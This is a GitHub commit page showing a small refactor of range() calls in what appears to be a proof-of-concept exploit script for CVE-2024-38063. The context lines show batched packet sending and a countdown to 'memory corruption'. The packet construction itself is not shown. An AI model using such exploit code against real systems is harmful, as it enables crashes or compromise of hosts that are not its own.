Skip to content

Commit f76d259

Browse files
committed
use single arg ranges
1 parent ba48cbf commit f76d259

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

script/cve-2024-38063.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ def get_packets(i):
2424

2525
final_ps = []
2626
for _ in range(num_batches):
27-
for i in range(1, num_tries):
27+
for i in range(num_tries):
2828
final_ps += get_packets(i) + get_packets(i)
2929

3030
print("Sending packets")
@@ -33,7 +33,7 @@ def get_packets(i):
3333
else:
3434
send(final_ps, iface)
3535

36-
for i in range(0, 60):
36+
for i in range(60):
3737
print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
3838
time.sleep(1)
3939
print("")

0 commit comments

Comments
 (0)